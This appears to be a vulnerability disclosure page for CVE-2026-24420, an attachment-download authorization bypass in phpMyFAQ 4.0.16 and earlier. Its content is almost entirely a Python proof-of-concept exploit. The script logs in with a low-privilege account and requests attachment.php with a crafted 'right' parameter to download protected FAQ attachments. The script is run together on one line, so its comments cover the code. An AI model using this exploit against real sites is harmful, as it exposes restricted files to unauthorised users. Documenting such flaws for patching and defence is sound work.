CVE-2026-24420: phpMyFAQ 附件下载权限绕过漏洞

import requests # CVE-2026-24420 PoC - phpMyFAQ Attachment Download Authorization Bypass # Target: phpMyFAQ <= 4.0.16 # Vulnerability: Insecure permission check in attachment.php allows authenticated users # without dlattachment permission to download FAQ attachments TARGET_URL = "http://target-server/phpmyfaq" LOGIN_URL = f"{TARGET_URL}/login.php" ATTACHMENT_URL = f"{TARGET_URL}/attachment.php" session = requests.Session() # Step 1: Authenticate with a low-privilege account (without dlattachment permission) login_data = { "user": "low_privilege_user", "password": "user_password", "action": "login" } response = session.post(LOGIN_URL, data=login_data) # Step 2: Exploit the authorization bypass # The vulnerable code checks for a right key existence instead of proper permission verification # Send request to download attachment without having dlattachment permission attachment_params = { "id": "attachment_file_id", # Target attachment ID "right": "some_existing_right_key" # Any valid right key bypasses the check } response = session.get(ATTACHMENT_URL, params=attachment_params) # If successful, the attachment content will be returned if response.status_code == 200 and response.headers.get('Content-Type') != 'text/html': print(f"[+] Successfully downloaded attachment: {len(response.content)} bytes") else: print("[-] Exploitation failed")